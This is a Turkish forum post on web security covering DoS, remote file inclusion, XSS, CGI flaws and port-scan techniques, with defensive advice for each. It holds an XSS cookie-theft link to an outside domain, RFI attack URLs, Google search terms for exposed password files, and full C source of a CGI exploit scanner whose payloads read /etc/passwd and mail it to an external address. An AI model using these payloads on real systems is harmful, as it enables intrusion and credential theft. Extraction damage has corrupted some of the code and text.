Mumsema.NET

FrMaLeV

Bilgi Dağıtmak İçin El Ele

Geri git   Mumsema.NET >
Webmaster / Web Dizayn Scriptler
> Webmaster > Webmaster Genel

Forum Kuralları Bize Ulaşın İletiler Kayıt ol Yardım Ajanda Bütün Forumları okunmuş kabul et

             
İnternet Güvenligi ile ilgili Benzer Konular
237 Kez Görüntülendi

İnternet Işığı yanıyor Fakat İnternet Çok Zor Açıyor Network ve İnternet
İnternet Tatlı Sözlük
Windows System Güvenligi -E-book- Genelbilgi ve İpucu
İnternet nedir? İnternet bize ne Sunar? Network ve İnternet
İnternet Olmadan da İnternet Konu Dışı Başlıklar

Php Fushion Nedir+Kurulum (Videolu) | Phpbb2 v.2.0.22 Kurulumu (Resimli Anlatım)
Cevapla
 
Konu Araçları
Alt 06-08-2007   #1
Profil Bilgileri
Thumbs up İnternet Güvenligi

İnternet Güvenligi başlıklı yazı Mumsema İnternet Güvenligi Forum Alev


Internet Güvenliği

Çağımızın olmazsa olmazı arasına giren Internet, beraberinde bir çok tehlikeyi de getirmektedir Bu tehlikeleri, Kredi Kartı bilgilerinin çalınması, Web Uygulamalarına ebedi olarak el konulması, e-Mail hesaplarının ele geçirilmesi, kişisel bilgilerin yayınlanması vs şeklinde sıralamak mümkün

Peki bu tehlike unsurlarına karşı etkili çözümler nelerdir? Nasıl korunulur?

Öncelikli olarak kişisel bilgisayar güvenliği önemli Kullanıcı kendi güvenliğini tam manasıyla sağladıktan sonra, gerisi sistem güvenirliğine kalmış bir olay Sistem güvenirliği de gerekli yamalar, güvenlik önlemleri ile daha iyi bir duruma getirilebilir, her türlü saldırıya karşı donanımlı hale getirilebilir

PC (Personal Computer) güvenliğinde en önemli madde bilinçli olmaktır Kullanıcı bilinçli ise, sistem’in %90 ’ı güvendedir demektir Şöyle ki, sistem hataları, güvenlik zafiyetleri belki fixlenebilir, lakin kullanıcı dikkatsizliği ve bilinçsizliği Sosyal Mühendislik sanatını iyi kullanan saldırganlara davetiye çıkarmakta, sistem ne kadar güvenli olsa bile, maalesef bu güvenlik devre dışı kalmaktadır O yüzden ilk madde bilinçli olmaktır

Internet ortamında, bilgisayarlar arası bağlantıda sürekli bir dosya paylaşımı vardır Bu dosya paylaşımı sırasında, art niyetli kullanıcılar tarafından, virüs, trojan, worm, spy yollanabilmekte veya farklı amaçlar için kullanıcı bilgisayarları hacklenebilmektedir Bunlara bilinçli ve dikkatli olmadan sonra gelebilecek en iyi çözüm iyi bir Firewall kullanmaktır Sizin dikkatsizliğiniz anında, devreye Firewall güvenlik kalkanları girecektir Bu sayede bilgisayarınızdaki veri alış-verişini görebilir, veri kontrolünü sağlayabilirsiniz

Yukarıda saydıklarımıza ek olarak Domain Güvenliği kısmında anlatacağımız e-Mail Account güvenliği başlığı altında yer alacak olan maddeler de vardır

Kendi güvenliğini sağlayan bir kullanıcı, internet ortamında oluşturduğu Web Uygulamalarını nasıl korumalıdır? Neler yapabilir?

Öncelikli olarak Web sitesi güvenliğinde (Host Güvenliği için), sisteminize karşı yapılabilecek saldırıları iyi bilmeniz gerekir Bir saldırının boyutunu, verebileceği zararı ve mantığını anlamadan, bu saldırıya karşı çözüm üretemezsiniz

Sisteme yapılabilecek en basit (görünen) saldırılardan biri olarak Denial Of Service (DOS) ve DDOS saldırılarını örnek verelim

Denial Of Service (DOS) saldırıları diye nitelendirilen saldırı türü, sistem işleyişini engelleme, belirli verilere erişimi sağlama yerine yetkili kullanıcıların uygulamalara erişimini engelleyerek bilgi sistemleri kaynaklarını kilitler Bu Attack türü ile sistemin sunduğu hizmet veya hizmetleri tamamiyle engelleyebilir ve devre dışı bırakabilir Dos Attack işleyiş olarak, Attacker’ın çok büyük oranda karışık ve karşılanamaz verileri hedef sistem ağlarına veya bilgisayarlarına doğrudan göndermesini baz alır Dos Attack yöntemini tehlikeli kılan yön ise çok eski tip makineler ve modemler ile çok karmaşık ve sofistike sistemleri devre dışı bırakmaktır

DOS attacklar sadece e-ticaret ve web servislerine yapılmamaktadır Bu saldırılardan routerlar, sanal özel ağlar(VPN) ve IRC sunucularıda etkilenmektedirler Bir servis sağlayıcının router’ına yapılacak bir saldırı sonucu network trafiği altüst olabilir ve sonucunda da müşterilerinin bağlantıları kopabilir Daha önce en büyük IRC ağlarından Undernet’in bazı önemli sunucuları DDoS yöntemiyle çökertilmişti Saldırıda servis sağlayıcılar saniyede yüzlerce MB veri bombardımanına tutulmuştu

Distributed Denial Of Service adını alan hizmet aksatmaya yönelik saldırı türünün DOS Attack’tan farkı, birden fazla noktadan tek bir merkeze yapılan sistem engelleme eylemidir Şöyle ki; DOS saldırıları tek bir kaynaktan olup, herhangi hedef bir sisteme doğrudur Ancak DDOS saldırılarında birden fazla makina tek bir hedefe focus olur Bahsettiğimiz makina sayısı yüzlerce hatta binlerce olabilir DDOS saldırılarının tehlikeli olmasının nedeni de bundan kaynaklanır

Peki dev şirketlerin bile sistemlerini aciz bırakan bu saldırı türüne karşı alabileceğimiz önlemler nelerdir?

Yeterli Bant Genişliği sağlayabilirsiniz Saldırılar bant genişliğine göre zarar verirler Bant genişliği yeterli düzeyde olursa etkilenme azalacaktır

Sisteminizi sürekli güncelleyin Çünkü bu tür saldırılarda saldırı sırasında bir engelleme söz konusu olmayabilir O yüzden saldırı öncesi hazırlık yapmanız gerekiyor

İyi denebilecek düzeyde bir Firewall veya IDS (Saldırı Tespit Sistemi) kullanın Bu sayede ağınızı gözetleyebilirsiniz (Çok sayıda SYN_RECV görmeniz sisteminizin DOS saldırısına maruz kaldığını gösterecektir)

Saldırıya maruz kalan sistem ise, gelen bağlantıları reddetmelidir Ancak zombie kullanılmış ise bu işe yaramayacaktır Sistemi kapatmanız da Attacker’ın menfaatine olacaktır Çünkü saldırgan zaten bunu hedeflemektedir Bu yüzden en önemli güvenlik, saldırı öncesi hazırlıktır

Bir başka etkili saldırı ise Remote File Include Bu saldırının da en büyük etkisi ise, sunucu üzerindeki tüm sitelerin saldırı sonucu sömürülebilmesidir Bu da saldırının ne derece tehlikeli olduğunu göstermektedir

Remote File Inclusion (RFI), PHP ile kodlanmış sistemlerde, tecrübesiz webmaster’lar tarafından yapılan kodlama hatalarından faydalanılarak sisteme sızma yöntemidir Bu saldırının verebileceği büyük zarar ise, RFI açığı olan site üzerinden, aynı serverda bulunan tüm sitelere sızılabilmesi Bu yüzden bu güvenlik açığı, saldırganlar tarafından tercih edilen yöntemler arasına girmiştir

Saldırganlar, RFI açığına rastladıkları sitede, açığı kullanarak web sayfa sunucusunun sağlamış olduğu diğer siteleri de sömürmek için ve server’daki diğer sitelere erişimi sağlayabilmek için Listpatch dediğimiz kod dizilimini kullanmaktadırlar Listpatch’lerin upload edildiği URL’lerin, PHP ‘yi desteklemesi ve Listpacth içerisinde bulunan kodları compile etmemesi gerekiyor Listpatch PHP destekli bir hosta (Örn:[Hoşgeldiniz.. Yudumla Ailesine Üye Olmadan Forumdaki Linkleri Göremezsiniz. Üye Olmak İçin Tıklayın...]) yüklendikten sonra, Attacker için tüm şartlar hazırlanmış demektir Örnek bir RFI açığı barındıran site;

http://wwwexamplecom/path_to_qnews/q-newsphp?id=Attacker List Patch]

http://wwwexamplecom/path_to_phpgreetz/contentphp?content= [Attacker List Patch]

http://wwwexamplecom/PATH/admin/plog-adminfunctionsphp?configbasedir=Attacker ListPatch]



Saldırıya karşı alınabilecek önlemler nelerdir? Nasıl Korunulabilir?

Bu saldırı temel olarak sistemde yapılan kodlama hatalarından kaynaklanmaktadır O yüzden kodlama sürecinde yapılan hata olasılığı göz önüne alınarak, uygulama paylaşıma konulmadan önce yeniden check edilmelidir Sizin sisteminizde bu açık yoksa bile, eğer sunucuda bu açığı barındıran herhangi bir site var ise, sunucu üzerinden sizin sitenize de ulaşılabilir, sizin host’unuz da hacklenme ile karşı karşıya gelebilir O yüzden seçtiğiniz sunucuların da yeteri kadar güvende olduğundan emin olmalısınız

Geçelim bir başka yönteme Son zamanlarda çok sık kullanılan ve genellikle Hotmail servisinde karşılaşılan Cross Site Scripting (XSS) Saldırılarının kullanılarak hack yapılması hatta bu yöntem ile Domain Reg Mail (daha sonra değineceğiz) ‘in hacklenerek, Domain Hi-Jacking edilmesi, saldırıyı tehlikeli yapmaya yeterlidir

XSS Saldırıları temel olarak Cookie’leri baz almaktadır Cookie’ler, kendinize kişiselleştirmiş olduğunuz bir web-sayfasınız varsa veya bir ürün ya da servis için kayıt olmuşsanız, sizi bağlandığınız sisteme hatırlatarak zamandan tasarruf yapmanızı sağlar Siteye yeniden girdiğinizde sistem daha önceden verdiğiniz cevapları hatırlar Bilgileri değiştirdiğiniz zaman da, sistem sizi cookie ler sayesinde yeni halinizle hatırlar

Browser’a yazılan bir siteye bağlandığınızda, bağlanacağınız sayfanın sunucusu, bilgisayarınızda kendi yazmış olduğu cookie’lerin olup olmadığına bakar Eğer varsa, cookie’ler aracılığı ile size sabit bir ID atanır Eğer sisteminizde, sunucuya ait cookie yoksa size ayrı bir SessionID atanır Kaydettiği bu dosya hem sisteme, hem sizin bilgisayarınıza işlenir Cookie’lerin formatı aşağıda verdiğimiz gibidir;



Domain : False : / : False : Bitiş Tarihi : Name : Value



Sırasıyla tanımları;



Domain: Cookie’yi sisteminize kaydeden Web sayfasının adını içerir

False: Domainde bulunan tüm makinelerin değişkene erişim hakkının olup olmadığını

belirleyen bir bayraktır

/ : URL’nin adresini gösterir

False: SSL bağlantıları için kullanılır

Bitiş Tarihi: Genellikle saniye cinsinde olup, çerezin bilgisayarınızdaki süresini belirler

Name: Değişkenin adı

Value: Değişkenin değeri



Sistemlerin kodlanma sürecinde yapılan hatalar, sistemde bir takım zafiyetlere ve güvenlik açıklarına sebebiyet vermektedir Attacker’lar bu sistem zafiyetlerinden faydalanarak sisteminizde kayıtlı olan cookie’leri kullanabilir, daha önceden girdiğiniz sitelere sizin adınıza bağlanabilir ve eğer site yöneticisiyseniz siteyi ele geçirebilir, istediğini yapabilir

İşte bahsettiğimiz Cross Site Scripting saldırılarında, kodlanma sürecinde yapılan hatalardan faydalanılarak Cookie’ler çalınmaktadır Kısaca Request ile kullanıcıdan alınan verilerin sayfa içerisinde yazdırılması ile oluşan Cross Site Scripting yani XSS açığıdır Örneğin; QueryString ile alınan sayfa numaraları yada ilgili kaydı gösteren id değişkenleri;

http://wwwhedefsite/DefaultAsp?Page=1

yada

http://wwwhedefsite/ProductAsp?id=1

http://wwwhedefsite/DefaultAsp?Kategori=Haber gibi

Attacker’lar, arama ve haber modüllerinde, profil panellerindevs bulunan bu sistem hatası sayesinde, modüllere ufak scriptler ekleyerek siteyi yönlendirebilir veya hata vermesine neden olabilir

Ayrıca Attacker, HTML tabanlı bir e-posta içine veya hazırladığı web sayfasına özel bir URL gömerek hedef sistem yöneticisine yollayıp, bu URL’yi kendi bilgisayarında açmasını, dolayısıyla hedef, farkında olmadan SessionID’sini hedefin URL’de tanımadığı adrese gönderecektir Örneğin; cyber-securityorg’a üye olduğunuzu varsayalım Bu siteye kullanıcı adınızla giriş yaptığınızda yeni bir session oluşturmuş oldunuz Ve tam bu esnada size gelen bir e-posta’da ;

<a href = [Hoşgeldiniz.. Yudumla Ailesine Üye Olmadan Forumdaki Linkleri Göremezsiniz. Üye Olmak İçin Tıklayın...] Documentwrite(\\\\\\’img src= "http://wwwx-master">

yukarıdaki gibi bir link gördünüz ve farkında olmadan buna tıkladınız Dolayısıyla siz bu linke tıklamakla farkında olmadan sessionID’nizi, xmasterbiz’e göndermiş oluyorsunuz

Cross Site Scripting saldırılarına karşı alınabilecek önlemler nelerdir peki?

Request ile alınan değerleri her zaman QueryString’de olsa Replace ile Aşağıdaki şekilde Temizleyin ve Request verilerini alırken mutlaka tam sayıya çevirin…

Recid = CInt(Trim(ServerHTMLEncode("Recid")))

Recid = Replace(Recid, "<" , "&lt;") ’küçüktür

Recid = Replace(Recid, ">" , "&gt;") ’büyüktür

Recid = Replace(Recide, "’" , "’") ’tek tırnak

Recid = Replace(Recid, Chr(10) , "") ’Satır Başı

Recid = Replace(Recid, Chr(34) , "") ’çift tırnak

* ASPNET ’de

Webconfig Dosyasında aşağıdaki değişikleri yaptığınızda " ’ " gibi karakterleri sistem

kendisi kontrol eder Bu Sayede hemen hemen hiçbir XSS ve SQL Enjeksiyon teknikleri

etkili olmaz

<SystemWeb>

<Pages validateRequest="True"></Pages>

</SystemWeb>



IPS Kullanıyor iseniz, Yeni imza oluşturup;

Application Layer / HTTP / HTTPURL_DECODED Protokolüne;

’ Tek Tırnak,

" Çift Tırnak

< Küçük

> Büyük

Karakterlerini ekleyerek XSS ve SQL Enjeksiyon Saldırılarını Direkt Engelleyebilirsiniz

Kullanmış olduğunuz Script’lere karşı da Attacker’lar saldırı yapmaktan çekinmeyeceklerdir O yüzden script güvenliği de büyük önem taşımaktadır Örnek olarak CGI Script’ler’e değinecek olursak, başlı başına CGI Saldırıları adlı konuyu ele alabiliriz

CGI (Common Gateway Interface), Web Servisleri ile bu servislerin dışındaki programlar arasında etkileşim (ortak çalışma) platformu oluşturmak için geliştirilmiş bir standarttır CGI, aslında bir programdır Web’in statik yapısına, HTML kodu içinden çağrılan CGI programları dinamik bir nitelik kazandırmaktadır En popüler CGI uygulamalarından birisi Web Sayaçlarıdır Web sayfalarını kaç kişinin ziyaret ettiğini saptayan küçük uygulamalar dış program olarak, bir web sayfası içinden çağrılabilir CGI programları gerçek zamanlı çalışırlar CGI’lerin önemli uygulama alanlarından birbaşkası da, web üzerinde doldurup gönderilen formlar üzerindeki bilgileri server tarafında değerlendirip kullanıcıya cevabı göndermektir

CGI programları "çalıştırılabilir" kodlar olduğundan, bir başkası, kolaylıkla sizin sisteminizde program çalıştırabilir Bu yüzden, CGI kodları sistemde özel yerlerde tutulur ve o sistemin görevlilerinin denetimi altındadır

CGI programları herhangi bir dilde yazılabilir : C, Fortran, Pascal, C++, Perl, Unix Shell, Visual Basic vb CGI eğer C ya da Fortran gibi bir dilde yazılırsa, derlenmelidir Perl ya da Unix Shell gibi ortamlar ise script ortamlardır ve bu şekilde yazılmış CGI Script’ler doğrudan çalıştırılabilir

Özellikle Java ve JavaScript kullanımlarının yaygınlaşması, CGI’nin ilk zamanlardaki popüleritesini azaltmıştır Öte yandan, CGI programları/scriptleri, bulundukları sistemde saklıdırlar ve çalıştıklarında o sistemin kaynaklarını kullanırlar Oysa Java Appletleri ve JavaScript, doğrudan HTML döküman içinde onu çağıran web listeleyicisine gelirler ve burada icra edilebilirler Bu da, Java Applet ve JavaScript’in CGI’ye göre önemli bir avantajıdır

CGI Scriptler Web sayfalarının, serverdaki executable (açılabilir) durumda olan dosyaları kullanabilmesini sağlayan basit araçlardır Uzun zamandan beri Web sitelerinde bazı işleri yürütmek için kullanılan CGI Scriptlerin güvenirliği ise tartışılır durumda Çünkü basit çaptaki CGI Scriptler güvenlik protokolleri gözden geçirilmeden hazırlanmıştır ve sitenizde kullanmanız güvenliğinizi tehlikeye düşürebilir Şöyle ki; CGI açıklarından faydalanarak hedef siteler hack’lenebilir, hatta daha sonra sistemi re-hack etmek için backdoor dediğimiz arka kapılar bile bırakılabilir

Bu saldırıya karşı alınabilecek önlemler ise ;

Attacker Scriptlerde bulunan açıkları gerek manuel yollarla gerekse de CGI Scanner’ları kullanarak öğrenebilir Seçilecek olan Scanner’ın veritabanında tüm açıkları barındırması ve sürekli güncellenme özelliğine sahip olması gerekir Çünkü bir Scanner veritabanında ne kadar çok sistem hatasından kaynaklanan açıkları barındırırsa Attacker’ın sisteme sızma şansı o kadar artacaktır

Program dışı manuel olarak CGI Açıkları aramanın kolay bir yöntemi olarak da Google gibi gelişmiş craw’lerlara sahip olan sistemlerde " cgi-bin/passwordtxt, cgi-bin/ornekpwd " gibi key-word’leri aratmaktır

Ek olarak birçok CGI-Scanner’ı [Hoşgeldiniz.. Yudumla Ailesine Üye Olmadan Forumdaki Linkleri Göremezsiniz. Üye Olmak İçin Tıklayın...] adresinden indirebilirsiniz

Ayrıca sisteminizde CGI açığı olup olmadığını anlayabilmek için Cgiscanc exploitini kullanabilirsiniz Exploitin kaynak kodlarını veriyoruz



************************************************** *********************

#include <sys/stath>

#include <sys/typesh>

#include <termiosh>

#include <stdioh>

#include <stringh>

#include <fcntlh>

#include <sys/syslogh>

#include <sys/paramh>

#include <sys/timesh>

#include <sys/timeh>

#include <sys/socketh>

#include <netinet/inh>

#include <sys/signalh>

#include <arpa/ineth>

#include <netdbh>

#define MAXSTR 12

main (int argc, char *argv[])

{

struct sockaddr_in sin;

/* int outsocket, serv_len, len,c,outfd; */

/* struct hostent *nametocheck; */

/* struct in_addr outgoing; */

struct hostent *hp;

char host[100], buffer[1024], hosta[1024],FileBuf[8097];

int sock, i=0, X;

char *stringhe[MAXSTR];

for(i=0;i<MAXSTR;i++) {

stringhe=(char *) malloc(sizeof(char)*100);[i]

}

/* Classic PHF bug It still Works! */

stringhe[0]="GET /cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd\\\\\\n";

/* test-cgi bug, possible to view documents location */

stringhe[1]="GET /cgi-bin/test-cgi?*\\\\\\n";

/* htmlscript bug, a good language that can us have passwd */

stringhe[2]="GET /cgi-bin/htmlscript?////etc/passwd\\\\\\n";

/* view-source bug, some httd use this */

stringhe[3]="GET /cgi-bin/view-source?////etc/passwd\\\\\\n";

/* Wrap allow you to have a directory listing on IRIX 62 systems */

stringhe[4]="GET /cgi-bin/wrap?//////etc\\\\\\n";

/* Campas allow you to get the passwd on NCSA server 12 */

stringhe[5]="GET /cgi-bin/campas?%0acat%0a/etc/passwd%0a\\\\\\n";

/* With pfdisplay & webdist is possible to get the passwd on IRIX 62 systems */

stringhe[6]="GET /cgi-bin/pfdisplaycgi?/////etc/passwd\\\\\\n";

stringhe[7]="GET /cgi-bin/webdistcgi?distloc=;cat%20/etc/passwd\\\\\\n";

/* With aglimpse is possible to mail the password file anywhere */

stringhe[8]="GET /cgi-bin/aglimpse/80|IFS=5;CMD=5mail5dashie\\\\\\@cyberdudecom\\\\\ \</etc/passwd;eval$CMD;echo\\\\\\n";

/* An interesting variant for phf*/

stringhe[9]="GET /cgi-bin/phf?Qalias=x%0a/usr/bin/ypcat%20passwd\\\\\\n";

stringhe[10]="GET /cgi-bin/phpcgi?/etc/passwd\\\\\\n";

/* a new test-cgi but the bug is the same */

stringhe[11]="GET /cgi-bin/nph-test-cgi?*\\\\\\n";

while(fgets(hosta,100,stdin))

{

if(hosta[0] == ’\\\\\’)

break;

hosta[strlen(hosta) -1] = ’\\\\\’;

write(1,hosta,strlen(hosta)*sizeof(char));

write(1,"\\\\\\n",sizeof(char));

hp = gethostbyname (hosta);

for(i=0;i<MAXSTR;i++) {

bzero((char*) &sin, sizeof(sin));

bcopy(hp->h_addr, (char *) &sinsin_addr, hp->h_length);

sinsin_family = hp->h_addrtype;

sinsin_port = htons(80);

sock = socket(AF_INET, SOCK_STREAM, 0);

X=connect(sock,(struct sockaddr *) &sin, sizeof(sin));

write(sock,stringhe[i],strlen(stringhe[i])*sizeof(char));

while((X=read(sock,FileBuf,8096))!=0)

write(1,FileBuf,X);

}

}

printf("\\\\\\nScacco&Dark Schneider - S0ft Pr0ject 98");

}

************************************************** *********************


Web uygulamalarının güvenliğinde en önemli nokta
sunucu güvenliğidir Unutmayınız ki, sunucu güvenli olmadığı takdirde sizin siteniz ve uygulamanız ne kadar güvenli olursa olsun, sitenin hack’lenmesine engel olamayacaktır Örnek olarak;

Sisteminizi hedefleyen bir saldırganın, sitenizde açık bulamadığını varsayalım Saldırgan bu aşamadan sonra sunucuyu incelemeye çalışacaktır Sunucu üzerinde bulduğu her açıktan/hatadan faydalanacaktır Örnek olarak sunucunun port durumunu kontrol edecektir

Bir sistemin taranması, temel olarak hedef konumunda bulunan ağda bulunan bileşenleri ve bu bileşenlere yetkisiz olarak erişim hakkına sahip olmak için yapılmaktadır Tarama,aktif sistemlerin belirlenmesi, işletim sistemlerinin saptanması ve bu bileşenlerin hedef ağdaki lokasyonunun belirlenmesi gibi basamaklardan oluşur

İlerleyen teknolojinin ürünü olarak birçok işletim sisteminde birden fazla program aynı anda çalışmakta ve çalışan bu programlardan bazıları da dışardan gelen request (istek)’lere açık olmaktadırlar Uygun görülen request’lere response (cevap) vermektedir

Sunucu programları çalışan bilgisayarlara verilen IP adresleri ile istenilen bilgisayarlara ulaşılır Ulaşılan bilgisayarlar üzerindeki hangi sunucu programdan hizmet almak istendiğini belirlemek ise port’lar aracılığıyla sağlanır Bu işlemi sağlayabilmek için bilgisayarlar üzerinde sanal bağlantı noktaları oluşturulur ve her bağlantı noktasını adresleyebilmek için Port numarası dediğimiz pozitif rakamlar verilir Port numaraları 2 byte olarak tutulur 1024’ten küçük olan port numaraları Root dediğimiz özel yetkilere sahip kullanıcılar tarafından kullanılır Büyük olanlar ise normal kullanıcılar tarafından kullanılmaktadır

Port kavramını öğrendikten sonra Attacker’ların, Port’lardan faydalanma eylemine değinelim

Attacker sistem hakkında yeteri kadar veri topladıktan sonra yapacağı ise hedef sistemin TCP veya UDP Portlarına bağlanarak hangi port’un açık olduğunu belirlemek veya hangi port’un dinleme durumunda olduğunu saptamaktır Yani Port Taraması yapmaktır

İlk önce de dediğimiz gibi, saldırı bilmeden saldırıya karşı çözüm üretilemez Port Tarama Nasıl Yapılır?

TCP Connect Scan

Transmission Control Protokol (TCP), bilgisayarlar ile veri iletme ve alma birimleri arasındaki iletişimi sağlayan, bu yolla veri transferini mümkün kılan yapıdır

TCP’nin İşleyişi: TCP Oturumu öncelikli olarak bir sunucudan servis ister, diğer istemci ise response olarak (eğer bağlantı isteği kabul edilirse) SYN Flag (SYN Bayrağı) ’ı kalkık paketini sunucu bilgisayara iletir Paketi alan sunucu ise, gönderene response olarak SYN Paketini aldığını ve bağlantı request’ini onayladığını göstermek için SYN Bayrağı kaldırılmış (set) paketi yani SYN-ACK Paketini istemci bilgisayara gönderir Son aşamada ise sunucu makinenin gönderdiği SYN-ACK paketini alan istemci bilgisayar sunucuya ACK paketini göndererek yollanan paketi aldığını bildirir

Bahsi geçen tarama yöntemi yani TCP Connect Scan işlemi ise anlattığımız oturum açma işlemini gerçekleştirir ve oturum açıldığı zaman bağlantıyı keserek bize portun durumunu, açık veya kapalı olduğunu gösterir

Yalnız Attacker bu yöntemi zor durumda kalmadığı zaman yapmaz Çünkü oturum açma isteği gönderildikten ve bu işlem gerçekleştikten sonra isteği gönderen cihazın IP Adresi kaydedilir Ama zorunlu durumlarda ve hedef sistemin portunun kesin bir şekilde açık veya kapalı olarak öğrenilmek istenmesi durumunda bu yol garantidir

TCP SYN SCAN

TCP Connect Scan işleminde, bu yolun riskli olduğunu çünkü IP Paketlerinin loglandığını söylemiştik Loglama işlemi, istemci bilgisayarın Oturum açtığı anda olur Oturum açılırsa log tutulur

TCP SYN Scan yarı-açık tarama olarak da bilinir Bu tabirin bahsi geçen tarama yöntemine uygun görülmesinin nedeni ise, TCP Connect Scan’deki gibi tam olarak oturum açmamasından dolayıdır TCP SYN Scan SYN bayraklı paketi gönderir ve SYN/ACK bayraklı paketi alır Oturum açmayı ise RST/ACK bayraklı bir paket göndererek reddeder

Eğer hedef port açık ise SYNC/ACK paketi gelir Oturum açılmadığından dolayı da loglanma ihtimali ortadan kalkar

TCP FIN Scan

TCP Connect ve TCP Syn Scan işlemlerinde oturum açma işlevlerine değindik TCP FIN Scan’de ise Oturum açılmadan hedef portların açık veya kapalı olma durumları öğrenilir

TCP FIN Scan’de hedef portlara FIN Paketleri gönderilir *RFC793 ‘ e göre kapalı durumda olan bir port, bağlantı durumu söz konusu olmadan aldığı FIN paketine, RST Paketiyle cevap verir Yani hedef porta gönderdiğimiz FIN Paketlerine eğer cevap gelirse port kapalıdır, eğer cevap gelirse port açıktır

SYN/FIN Scannig Using IP Fragments

Bu tarama yöntemi SYN ve FIN Tarama yöntemlerinin daha gelişmiş bir türüdürdiyebiliriz Bu tarama yönteminde herhangi bir paket gönderilmez Hedef porta paketleri daha küçük IP Fragmenti olarak gönderilir Bu işlem Attacker’ın yaptığı işin anlaşılmasına engel olmak içindir

TCP Xmas Tree Scan

Bu tarama yöntemi TCP SYN taramasına benzer Hedef porta FIN (No More Data From Sender), URG (Urgent Pointer Field Significant) ve PUSH (Push Function) bayraklı paketler gönderir ve kapalı olan portalardan RST cevabı beklenir Eğer cevap gelmezse hedef portlar açıktır (RFC793’e göre / [Hoşgeldiniz.. Yudumla Ailesine Üye Olmadan Forumdaki Linkleri Göremezsiniz. Üye Olmak İçin Tıklayın...]

TCP Null Scan

Daha önceki tarama yöntemlerinde paketler veya IP Fragment göndererek port’ların açık ve kapalılık durumlarını öğrenmiştik Bu tarama yönteminde ise TCP Xmas Tree’nin tam tersine bayrak taşımayan bir paket gönderilir Daha öncede belirttiğimiz gibi RFC793’e göre kapalı durumlardaki portlardan RST cevabı gelir Eğer cevap gelmezse hedef port açıktır

TCP ACK Scan

Bu tarama yönteminde Attacker, eğer hedef Firewall kullanıyorsa kullandığı Firewall’u bypass etme ve hedef portların açık ve kapalılık durumlarını öğrenebilir

TCP ACK Scan’in genel mantığı statik veya dinamik paket filtrelemede firewall’ların bağlantıyı ilk başlatan tarafı hatırlayamamasıdır Bazı firewall’lar onaylanmış olan bağlantılara izin verir ve ACK (Acknowledgment Field Significant) paketinin Firewall’lardan veya Router’lardan engellenmeden geçmesi mümkün kılınabilir, hedef portlar firewall’a rağmen taranabilir

TCP FTP Proxy (Bounce Attack) Scan

Bu tarama yöntemi FTP Proxy’lerin Bounce adını verdiğimiz özelliğinden faydalanır RFC959 tanımına göre, FTP Protokolünün Proxy FTP bağlantısına izin verir Bu bağlantı sayesinde server-PI (Protocol Interpreter)’e ağdaki herhangi bir yere dosya yollayabilecek server-DTP (Data Transfer Process) isteği aktif edilebilir Bu açık özellikle firewall arkasında bağlı bulunan bir FTP’ye bağlandığımız zaman sunucuya kendi port’larını taratması sağlandığı için çok tehlikeli bir tarama türüdür Çünkü Firewall bypass edilmiş olur

TCP Windows Scan

TCP ACK taramasına benzer Bu tarama türü TCP Windows Size’dan kaynaklanan hataları baz alarak bazı işletim sistemlerinde portların açık ve kapalılık durumunu ya da filtreli olma durumlarını kontrol eder

TCP RPC Scan

Bu tarama yöntemi ile Remote Procedure Call (RPC-Uzak İşlem Çağrıları) port’larından aktif halde çalışan işlemleri ve sürümleri öğrenebiliriz Eğer sistemde çalışan RPC’ler ile ilgili hata ve aksaklıklar mevcut ise bunlar Attacker için sisteme girmek için bir yoldur (Sadece Unix tabanlı sistemlerde mevcuttur)

UDP Scan

Daha önceki tarama yöntemleri (RPC Scan Hariç) TCP tabanlı idi TCP tabanlı taramalarda, sıra numaraları, kod bitler dediğimiz yapılar vardı Ancak UDP’de böyle bir şey mevcut değildir UDP ’de paketler direk gönderilir ve kaybolan paketlerin yenisi gönderilmez

Bu yöntem hedef sisteme UDP Paketlerini gönderme işlemini baz alır Eğer gönderilen UDP Paketlerine response olarak "ICMP Port Unreachable" mesajı alınırsa port kapalıdır demektir Eğer bu responsa alınmazsa port’un açık olduğu anlaşılır Bu işlemleri yaparken acele etmemek gerekir Çünkü bant genişliği probleminden dolayı gelmesi gereken mesaj paketi gecikebilir Ve eğer ivedi davranılırsa port’un açık olduğu o nedenle cevap gelmediği düşünülebilir Ama port açıktır ve bu hatadan dolayı Attacker amacına ulaşamayabilir

Ident Scan

Ident Protokolü RFC1413’te tanımlanmış bir protokoldürBu tarama hedef sistem üzerinde eğer Identd aktif olarak bulunuyorsa, sistemde çalışır vaziyette olan servislerin listesine ve bu servisleri çalıştıran kullanıcı isimlerine ulaşmak için yapılır Eğer Identd aktif değilse bu tarama türü işe yaramayacaktır

Tüm bunlara karşı sunucu güvenliği nasıl sağlanacak?

Port Tarama yönteminden korunma bir IDS Sistemi ile engellenebilir Veya IPTables’da Burst/Burst-Rate gibi bir limitasyonla engellenir Şöyle ki; bir kaynak IP adresinden bir noktaya belirli bir "t" süresi dahilinde gelen SYN paketlerini sayan ve anormal sayıda aynı adrese connection kurmaya çalışan ya da birden fazla porta "t SYN "paketi gönderen IP Adresleri otomatik olarak bloke edilir Bu teknik engellemekteden daha ziyade artificial-intelligiance ile gerçekleştirilebilen bir savunma yöntemidir

Port taramasından korunmak için kullanılan bir başka yöntem ise Firewall dediğimiz Güvenlik Duvarlarının kullanımıdır Piyasada bulunan Firewall’ların çoğu Port taramalarını engelleyebilme özelliğine sahiptir Hatta Nmap’in yaptığı gizli port taramalarını bile yakalayabilme kabiliyetine mevcut Firewall’lar vardır Tavsiye edebileceğimiz Firewall’lar; hem güvenlik duvarı hem de saldırı tespit sistemi olan Zone Alarm

([Hoşgeldiniz.. Yudumla Ailesine Üye Olmadan Forumdaki Linkleri Göremezsiniz. Üye Olmak İçin Tıklayın...]), IIS net firmasının Windows tabanlı saldırı tespit programı olarak yazdığı BlackICE ([Hoşgeldiniz.. Yudumla Ailesine Üye Olmadan Forumdaki Linkleri Göremezsiniz. Üye Olmak İçin Tıklayın...]) ‘tır

Yöntemler daha fazla sıralanabilir, lakin en sık karşılaşılan hack’lenme vakaları bu saldırılardan yana olmaktadır Daha fazla detay için sitemde bulunan makalelerden faydalanabilirsiniz (x-Masterbiz > Makalelerim Modülü // x-Master – Cyber Warrior TIM)

Bunlar haricinde bir de Domain Güvenliğinden bahsetmemiz gerekiyor

Alan adı veya kısaca Domain, internette varolmak için başvurduğunuzda size verilen Internet Protokol adresinin bir görüntüsüdür Diğer bilgisayarlar ile connection kurabilmek için bağlantıyı kuracak olan bilgisayarların IP adreslerinin tanımlanmış olması gerekir Yani Internet ortamındaki bilgisayarlar ile iletişiminiz, size tayin edilen IP adresleri ile sağlanır

